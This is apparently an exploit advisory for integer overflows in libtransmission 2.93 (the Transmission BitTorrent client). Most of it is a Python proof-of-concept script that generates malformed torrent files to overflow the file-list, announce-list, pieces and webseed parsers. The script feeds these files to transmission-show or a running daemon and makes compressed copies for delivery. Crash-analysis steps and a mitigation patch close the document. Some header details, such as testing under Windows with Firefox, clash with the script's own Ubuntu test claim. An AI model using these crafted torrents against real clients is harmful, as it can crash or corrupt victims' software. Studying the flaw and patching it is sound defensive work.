============================================================================================================================================= | # Title : libtransmission 2.93(Transmission BitTorrent Client) Allow Memory Corruption via Malicious Torrent Files | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://github.com/transmission | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/212492/ [+] Summary : Integer Overflow Vulnerabilities in libtransmission (Transmission BitTorrent Client) Allow Memory Corruption via Malicious Torrent Files Multiple integer overflow vulnerabilities were discovered in libtransmission, the core library of the open-source Transmission BitTorrent client. The vulnerabilities reside in memory allocation wrapper macros (tr_new, tr_new0, tr_renew) and related functions used during torrent file parsing. These flaws could allow an attacker to craft a malicious torrent file that, when loaded by Transmission, triggers memory corruption, potentially leading to application crashes, denial of service, or arbitrary code execution. [+] Key Vulnerabilities: Unsafe Allocation Macros: The tr_new, tr_new0, and tr_renew macros multiply element counts by sizeof(type) without checking for integer overflow, leading to undersized memory allocations. Affected Parsing Functions: The overflow-prone macros are used in critical parsing functions: parseFiles, getannounce, geturllist, and tr_metainfoParseImpl. Missing Checks in containerReserve: The containerReserve function fails to validate against integer overflow or allocation failure. Signed Integer in tr_sha1: The tr_sha1 function uses a signed int for length parameters instead of size_t, risking memory corruption with very large torrents. [+] Impact: A remote attacker could create a specially crafted .torrent file (which may be small when compressed) that exploits these overflows when a victim loads it via Transmission or its command-line interface (transmission-cli). Successful exploitation could compromise the stability and security of the client. Proof of Concept: The report includes pyhthon scripts to generate malicious torrent files that demonstrate the overflows on both 32-bit and 64-bit systems. [+] POC : #!/usr/bin/env python3 """ libtransmission Integer Overflow Exploit - Proof of Concept CVE-2018-10756, CVE-2018-10757, CVE-2018-10758 This PoC demonstrates multiple integer overflow vulnerabilities in Transmission BitTorrent client versions <= 2.93. Tested on: Transmission 2.92 (Ubuntu 18.04, 32-bit) by indoushka """ import struct import sys import os import gzip import subprocess import tempfile import time import threading from pathlib import Path def print_banner(): print(""" ╔══════════════════════════════════════════════════════════╗ ║ libtransmission Integer Overflow Exploit PoC ║ ║ Transmission <= 2.93 by indoushka ║ ╚══════════════════════════════════════════════════════════╝ """) class TorrentExploit: def __init__(self, target_arch=32): self.arch = target_arch def create_heap_overflow_files(self): """ Trigger overflow in parseFiles(): inf->files = tr_new0(tr_file, inf->fileCount) On 32-bit: fileCount * sizeof(tr_file) overflows Allocates small buffer but writes large amount of data """ print("[*] Creating heap overflow via file list...") # Create torrent with massive file list # Each file entry: d6:lengthie4:pathlee torrent = b"d" torrent += b"4:infod" torrent += b"4:name12:exploit_torrent" torrent += b"12:piece lengthi16384e" torrent += b"6:pieces20:" + (b"A" * 20) # Single piece hash # Start files list torrent += b"5:filesl" # Add legitimate files first (2 real files) torrent += b"d6:lengthi1024e4:pathl9:file1.txtee" torrent += b"d6:lengthi1024e4:pathl9:file2.txtee" # Now add massive number of minimal file entries # "de" = empty dictionary, smallest possible entry # This creates list entries without allocating much data if self.arch == 32: # For 32-bit: aim for allocation size ~0x20 # sizeof(tr_file) = 32 bytes (0x20) # We want: fileCount * 0x20 = 0x800000020 (overflows to 0x20) # So fileCount = 0x40000001 = 1073741825 # But we'll use smaller value for PoC empty_count = 10000 # Reduced for PoC, real exploit would use millions else: empty_count = 100000 torrent += b"de" * empty_count torrent += b"e" # End files list torrent += b"e" # End info dict torrent += b"e" # End torrent return torrent def create_announce_list_overflow(self): """ Trigger overflow in getannounce(): trackers = tr_new0(tr_tracker_info, n) """ print("[*] Creating announce-list overflow...") torrent = b"d" torrent += b"4:infod" torrent += b"4:name6:testme" torrent += b"12:piece lengthi16384e" torrent += b"6:pieces20:" + (b"B" * 20) torrent += b"5:filesld6:lengthi1e4:pathl4:fileeee" # Add massive announce-list torrent += b"13:announce-listl" # Each tier: l[url]e # We'll create many tiers with few trackers each for i in range(5000): # Reduced for PoC torrent += b"l" torrent += b"6:string" # Minimal URL torrent += b"e" torrent += b"e" # End announce-list torrent += b"e" # End info torrent += b"e" # End torrent return torrent def create_pieces_overflow(self): """ Trigger overflow in tr_metainfoParseImpl(): inf->pieces = tr_new0(tr_piece, inf->pieceCount) pieceCount = pieces_length / 20 Make pieces_length huge but divisible by 20 """ print("[*] Creating pieces array overflow...") # For 32-bit: pieceCount * sizeof(tr_piece) should overflow # sizeof(tr_piece) = ? (likely at least 16 bytes) torrent = b"d" torrent += b"4:infod" torrent += b"4:name8:bigpiece" torrent += b"12:piece lengthi16384e" torrent += b"5:filesld6:lengthi1e4:pathl4:fileeee" # Pieces field: : # We need total length that when divided by 20 gives overflow if self.arch == 32: # Want: (length/20) * sizeof(tr_piece) to overflow # Let's use length = 0xFFFFFFF * 20 piece_data = b"C" * (10000) # Reduced for PoC else: piece_data = b"D" * 1000000 pieces_len = len(piece_data) torrent += b"6:pieces" + str(pieces_len).encode() + b":" + piece_data torrent += b"e" # End info torrent += b"e" # End torrent return torrent def create_webseeds_overflow(self): """ Trigger overflow in geturllist(): inf->webseeds = tr_new0(char*, n) """ print("[*] Creating webseeds overflow...") torrent = b"d" torrent += b"4:infod" torrent += b"4:name7:webseed" torrent += b"12:piece lengthi16384e" torrent += b"6:pieces20:" + (b"E" * 20) torrent += b"5:filesld6:lengthi1e4:pathl4:fileeee" # Add url-list (webseeds) torrent += b"8:url-listl" # Add many URL entries for i in range(10000): # Reduced for PoC torrent += b"18:http://example.com/" torrent += str(i).encode() torrent += b"e" # End url-list torrent += b"e" # End info torrent += b"e" # End torrent return torrent def create_combined_exploit(self): """ Combine multiple overflow vectors for higher success rate """ print("[*] Creating combined exploit torrent...") # Build a torrent that triggers multiple overflows torrent = b"d" # Info dictionary torrent += b"4:infod" torrent += b"4:name13:combined_exploit" torrent += b"12:piece lengthi65536e" # Pieces - first overflow vector # Use crafted pieces length evil_pieces = b"" # We'll embed some pattern to detect in memory pattern = b"DEADBEEF" * 100 evil_pieces += pattern # Make it look like valid SHA1 hashes (20 bytes each) while len(evil_pieces) < 20000: evil_pieces += b"\x90" * 20 # NOP sled-like torrent += b"6:pieces" + str(len(evil_pieces)).encode() + b":" + evil_pieces # Files - second overflow vector torrent += b"5:filesl" # Add some real files for i in range(5): torrent += b"d6:lengthi" + str(1024 + i).encode() + b"e" torrent += b"4:pathl" torrent += b"8:file" + str(i).encode() + b".txt" torrent += b"ee" # Add many empty dicts to bloat the list count torrent += b"de" * 5000 torrent += b"e" # End files # Announce-list - third overflow vector torrent += b"13:announce-listl" # Add many tracker tiers for tier in range(100): torrent += b"l" for tracker in range(10): torrent += b"20:http://tracker" + str(tier).encode() + b".com" torrent += b"e" torrent += b"e" # End announce-list # url-list - fourth overflow vector torrent += b"8:url-listl" for i in range(100): torrent += b"25:http://webseed" + str(i).encode() + b".com/" torrent += b"e" torrent += b"e" # End info torrent += b"e" # End torrent return torrent def test_with_transmission_show(torrent_data, description): """ Test the exploit torrent with transmission-show This is safer than running the full client """ print(f"\n[+] Testing: {description}") print(f" Torrent size: {len(torrent_data)} bytes") # Create temporary torrent file with tempfile.NamedTemporaryFile(mode='wb', suffix='.torrent', delete=False) as f: f.write(torrent_data) torrent_path = f.name try: # Use transmission-show to parse the torrent # This will trigger the parsing vulnerabilities print(" Running transmission-show...") start_time = time.time() result = subprocess.run( ['transmission-show', torrent_path], capture_output=True, text=True, timeout=5 ) elapsed = time.time() - start_time print(f" Command took: {elapsed:.2f} seconds") if result.returncode != 0: print(" [!] transmission-show crashed or failed!") print(f" Return code: {result.returncode}") # Check for segfault if result.returncode < 0: print(f" Signal: {-result.returncode}") # Check stderr for clues if result.stderr: lines = result.stderr.split('\n') for line in lines[-5:]: # Last 5 lines if line.strip(): print(f" Error: {line}") return True # Exploit likely triggered else: print(" [✓] transmission-show completed normally") # Print some output lines = result.stdout.split('\n') for line in lines[:10]: # First 10 lines if line.strip(): print(f" {line}") return False except subprocess.TimeoutExpired: print(" [!] transmission-show timed out (possible hang)") return True except FileNotFoundError: print(" [!] transmission-show not found in PATH") print(" Install with: sudo apt-get install transmission-cli") return False except Exception as e: print(f" [!] Exception: {e}") return False finally: # Clean up try: os.unlink(torrent_path) except: pass def test_with_transmission_daemon(torrent_data): """ Test with actual transmission-daemon via RPC WARNING: This could crash the daemon! """ print("\n[*] Testing with transmission-daemon RPC...") # Check if daemon is running try: result = subprocess.run( ['pgrep', 'transmission-da'], capture_output=True, text=True ) if result.returncode != 0: print(" [!] transmission-daemon not running") print(" Start with: transmission-daemon") return print(" [✓] transmission-daemon is running") except: print(" [!] Could not check transmission-daemon status") return # Create torrent file with tempfile.NamedTemporaryFile(mode='wb', suffix='.torrent', delete=False) as f: f.write(torrent_data) torrent_path = f.name try: # Try to add torrent via transmission-remote print(" Adding torrent via RPC...") result = subprocess.run( ['transmission-remote', '-a', torrent_path], capture_output=True, text=True, timeout=10 ) if result.returncode != 0: print(" [!] Failed to add torrent") if result.stderr: print(f" Error: {result.stderr[:200]}") else: print(" [✓] Torrent added (check daemon status)") # Try to remove it time.sleep(2) subprocess.run(['transmission-remote', '-t', 'all', '-r'], capture_output=True) except subprocess.TimeoutExpired: print(" [!] RPC command timed out (daemon might be crashed)") except Exception as e: print(f" [!] Exception: {e}") finally: try: os.unlink(torrent_path) except: pass def create_demo_torrents(): """Create example torrents for demonstration""" exploit = TorrentExploit(target_arch=32) print("[*] Creating demonstration torrents...") # 1. Basic heap overflow torrent1 = exploit.create_heap_overflow_files() with open("demo_overflow_files.torrent", "wb") as f: f.write(torrent1) print(" Created: demo_overflow_files.torrent") # 2. Announce list overflow torrent2 = exploit.create_announce_list_overflow() with open("demo_overflow_announce.torrent", "wb") as f: f.write(torrent2) print(" Created: demo_overflow_announce.torrent") # 3. Combined exploit torrent3 = exploit.create_combined_exploit() with open("demo_combined.torrent", "wb") as f: f.write(torrent3) print(" Created: demo_combined.torrent") # 4. Create compressed version (for HTTP transport) compressed = gzip.compress(torrent3, compresslevel=9) with open("demo_compressed.torrent.gz", "wb") as f: f.write(compressed) print(f" Created: demo_compressed.torrent.gz") print(f" Compression: {len(torrent3)} -> {len(compressed)} bytes") return [torrent1, torrent2, torrent3] def analyze_crash(): """ Provide instructions for analyzing crashes with gdb """ print("\n" + "="*60) print("CRASH ANALYSIS INSTRUCTIONS") print("="*60) print(""" If transmission-show crashes, you can analyze it with gdb: 1. Create the exploit torrent: $ python3 exploit_poc.py create 2. Run with gdb: $ gdb --args transmission-show demo_combined.torrent 3. In gdb: (gdb) run (gdb) bt # Backtrace after crash (gdb) info registers (gdb) x/20x $sp # Examine stack 4. For heap analysis: $ valgrind --tool=memcheck transmission-show demo_combined.torrent The crash should occur in: - parseFiles() when writing to inf->files[] - getannounce() when processing trackers - containerReserve() when reallocating variant arrays Look for: - Heap buffer overflow warnings - Invalid writes to memory - Use of uninitialized values """) def main(): print_banner() if len(sys.argv) > 1 and sys.argv[1] == "create": # Just create demo torrents create_demo_torrents() analyze_crash() return print("[*] Detecting system architecture...") # Check if we're on 32 or 64 bit if sys.maxsize > 2**32: print(" Detected: 64-bit Python") arch = 64 else: print(" Detected: 32-bit Python") arch = 32 exploit = TorrentExploit(target_arch=arch) print("\n[*] Starting exploit tests...") print(" Note: These tests are safe but may crash transmission-show") print(" Press Ctrl+C to stop at any time\n") # Test each exploit vector vectors = [ ("Heap overflow via files", exploit.create_heap_overflow_files), ("Announce-list overflow", exploit.create_announce_list_overflow), ("Pieces array overflow", exploit.create_pieces_overflow), ("Webseeds overflow", exploit.create_webseeds_overflow), ("Combined exploit", exploit.create_combined_exploit), ] crashes = 0 tests = 0 for name, creator in vectors: torrent = creator() if test_with_transmission_show(torrent, name): crashes += 1 tests += 1 # Pause between tests if tests < len(vectors): time.sleep(1) print(f"\n[+] Results: {crashes} crashes out of {tests} tests") if crashes > 0: print("[!] VULNERABLE: Integer overflows confirmed!") print("\n[*] Creating demonstration torrents...") demo_torrents = create_demo_torrents() # Optional: Test with daemon (more dangerous) response = input("\nTest with transmission-daemon? (y/N): ") if response.lower() == 'y': test_with_transmission_daemon(demo_torrents[2]) analyze_crash() else: print("[✓] No crashes detected (may be patched or 64-bit)") print("\nNote: On 64-bit systems, larger values are needed") print(" Try on a 32-bit system for better results") print("\n" + "="*60) print("MITIGATION RECOMMENDATIONS:") print("="*60) print(""" 1. Patch libtransmission with overflow checks: - Add overflow detection to tr_new/tr_new0 macros - Use calloc or checked multiplication 2. Update to Transmission >= 2.94 3. Temporary workarounds: - Limit maximum torrent file size - Use seccomp/sandboxing - Run transmission with memory limits (ulimit -v) Example patch for tr_new macro: #define tr_new(struct_type, n_structs) \\ ((struct_type*)((SIZE_MAX / sizeof(struct_type)) >= (size_t)(n_structs) ? \\ tr_malloc(sizeof(struct_type) * (size_t)(n_structs)) : NULL)) """) if __name__ == "__main__": try: main() except KeyboardInterrupt: print("\n\n[*] Exploit test interrupted by user") sys.exit(0) except Exception as e: print(f"\n[!] Error: {e}") import traceback traceback.print_exc() Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================